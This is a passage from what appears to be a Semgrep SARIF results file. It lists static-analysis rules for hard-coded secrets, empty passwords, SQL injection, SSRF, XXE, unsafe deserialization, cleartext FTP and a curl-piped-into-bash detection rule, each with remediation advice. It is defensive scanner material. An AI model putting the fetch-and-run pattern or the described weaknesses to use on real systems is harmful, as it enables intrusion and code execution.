(HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html](https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection)\n - [https://github.com/cyrus-and/chrome-remote-interface](https://github.com/cyrus-and/chrome-remote-interface)\n","text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","id":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","name":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","id":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","name":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","id":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","name":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli","id":"java.spring.security.java-sql-sqli.java-sql-sqli","name":"java.spring.security.java-sql-sqli.java-sql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.java-sql-sqli.java-sql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","id":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","name":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","id":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","name":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"help":{"markdown":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls)\n - [https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS](https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS)\n","text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","id":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","name":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","id":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","name":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash","id":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","name":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-pipe-bash.curl-pipe-bash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string","id":"python.django.security.passwords.password-empty-string.password-empty-string","name":"python.django.security.passwords.password-empty-string.password-empty-string","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.password-empty-string.password-empty-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/scalaj/scalaj-http#simplified-http](https://github.com/scalaj/scalaj-http#simplified-http)\n","text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","id":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","name":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"help":{"markdown":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line)\n","text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line","id":"ocaml.lang.portability.crlf-support.broken-input-line","name":"ocaml.lang.portability.crlf-support.broken-input-line","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: 